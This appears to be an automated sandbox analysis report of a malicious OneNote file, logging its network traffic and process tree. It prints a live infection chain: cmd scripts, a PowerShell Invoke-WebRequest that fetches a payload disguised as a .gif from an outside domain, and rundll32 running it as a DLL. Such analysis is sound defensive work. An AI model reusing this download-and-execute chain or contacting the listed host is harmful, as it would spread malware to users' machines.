C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000D.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000E.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000F.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000G.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000H.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000I.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000J.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000K.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000M.bin

C:\Users\user\AppData\Local\Microsoft\OneNote\16.0\cache\tmp\0000000N.bin

Windows Analysis Report
Original.one

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 7, 2023 19:53:33.641510010 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.641582966 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.641686916 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.657001972 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.657032967 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.763775110 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.763938904 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.768485069 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.768502951 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.768893957 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.787776947 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.787820101 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.825587034 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.825691938 CET	443	49704	109.203.123.62	192.168.2.3
Feb 7, 2023 19:53:33.825789928 CET	49704	443	192.168.2.3	109.203.123.62
Feb 7, 2023 19:53:33.828608036 CET	49704	443	192.168.2.3	109.203.123.62

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 7, 2023 19:53:33.552377939 CET	57840	53	192.168.2.3	8.8.8.8
Feb 7, 2023 19:53:33.596184015 CET	53	57840	8.8.8.8	192.168.2.3

Timestamp	kBytes transferred	Direction	Data
2023-02-07 18:53:33 UTC	0	OUT	GET /CCoN/01.gif HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1 Host: nerulgymkhana.com Connection: Keep-Alive
2023-02-07 18:53:33 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Feb 2023 18:53:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close

Target ID:	0
Start time:	19:53:21
Start date:	07/02/2023
Path:	C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE" "C:\Users\user\Desktop\Original.one
Imagebase:	0x830000
File size:	1676072 bytes
MD5 hash:	8D7E99CB358318E1F38803C9E6B67867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Target ID:	1
Start time:	19:53:26
Start date:	07/02/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Open.cmd" "
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	4
Start time:	19:53:30
Start date:	07/02/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Target ID:	6
Start time:	19:53:31
Start date:	07/02/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Invoke-WebRequest -URI https://nerulgymkhana.com/CCoN/01.gif -OutFile C:\programdata\putty.jpg
Imagebase:	0x7ff703e80000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Target ID:	11
Start time:	19:53:33
Start date:	07/02/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\programdata\putty.jpg,Wind
Imagebase:	0x7ff649500000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Target ID:	17
Start time:	19:53:44
Start date:	07/02/2023
Path:	C:\Program Files (x86)\Microsoft Office\Office16\ONENOTEM.EXE
Wow64 process (32bit):	true
Commandline:	/tsr
Imagebase:	0xed0000
File size:	157872 bytes
MD5 hash:	DBCFA6F25577339B877D2305CAD3DEC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre